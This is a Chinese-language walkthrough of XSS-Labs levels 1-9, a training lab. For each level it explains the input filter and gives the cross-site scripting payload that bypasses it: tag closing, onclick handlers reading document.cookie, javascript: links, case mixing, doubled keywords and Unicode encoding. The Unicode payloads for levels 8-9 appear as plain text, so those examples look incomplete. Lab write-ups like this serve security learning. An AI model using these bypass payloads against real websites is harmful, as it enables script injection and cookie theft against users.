xss-labs第1-9关通关全教程
字数 1550 2025-09-01 11:26:02
XSS-Labs 第1-9关通关教程
第一关:无过滤
特点:没有任何过滤机制
payload:
?name=<script>alert(1)</script>
说明:直接使用最基本的script标签注入即可成功。
第二关:闭合script标签绕过
特点:输入被包含在value属性中
测试:
<script>alert(1)</script> 失败
前端源码分析:需要主动闭合HTML标签,使<script>标签逃逸出来
payload:
?keyword='"><script>alert(1)</script>
或
"><script>alert(1)</script>
第三关:单引号onclick事件绕过
特点:尖括号被转义,无法使用标签
测试:
<script>alert(1)</script> 失败
源码分析:
- 左尖括号和右尖括号被转义
- 只有单引号没有被转义
- value值被单引号包含
解决方案:使用onclick事件弹窗
payload:
#' onclick='alert(document.cookie)
说明:
- 井号可有可无
- onclick后面的单引号与后面原先的单引号闭合
- 需要点击输入框触发
第四关:双引号onclick事件绕过
特点:value值被双引号包含
测试:
- 单双引号都没被过滤
- value的值是被双引号包含
payload:
#" onclick="alert(document.cookie)
操作:点击输入框的#即可触发
第五关:a标签js伪协议绕过
特点:
- script标签里的r和i之间被加上了下划线
- ' " < > 都没被过滤
- onclick事件被过滤
解决方案:使用a标签
payload:
#"><a href=javascript:alert(1)>
第六关:大小写绕过
特点:关键字被过滤但大小写敏感
测试:
- 确认a标签、script标签和onclick事件被过滤
payload:
"><scRipt>alert(1)</scRipt>
替代方案:
- href大小写:
hRef - on事件大小写:
oNclick
第七关:双写绕过
特点:script关键字被过滤
测试:
<script>alert(1)</script> 只剩下尖括号
payload:
"><scscriptript>alert(1)</scscriptript>
替代方案:
- a标签的href双写:
hhrefref - onclick中的on双写:
oonnclick
第八关:href之unicode编码绕过
特点:输入内容被赋值给href属性
测试:
javascript:alert(1)被过滤- 大小写绕过无效
解决方案:使用unicode编码
payload构建步骤:
- 将
javascript:alert()转换为unicode编码 - 点击友情链接触发
示例payload:
javascript:alert()
第九关:href之unicode编码绕过(含http://检查)
特点:输入中需要包含http://
payload构造:
javascript:alert()//http://
说明:
- 使用unicode编码javascript部分
- 最后用双斜杠隔断并添加http://满足检查条件
- 点击友情链接触发
总结
| 关卡 | 绕过技术 | 关键payload |
|---|---|---|
| 1 | 无过滤 | <script>alert(1)</script> |
| 2 | 闭合标签 | "><script>alert(1)</script> |
| 3 | onclick事件 | #' onclick='alert(1) |
| 4 | onclick事件 | #" onclick="alert(1) |
| 5 | a标签伪协议 | "><a href=javascript:alert(1)> |
| 6 | 大小写绕过 | "><scRipt>alert(1)</scRipt> |
| 7 | 双写绕过 | "><scscriptript>alert(1)</scscriptript> |
| 8 | unicode编码 | javascript:alert()的unicode编码 |
| 9 | unicode编码+http检查 | unicode编码部分//http:// |
通过这9关的学习,可以掌握基本的XSS绕过技术,包括标签闭合、事件处理、编码绕过等多种方法。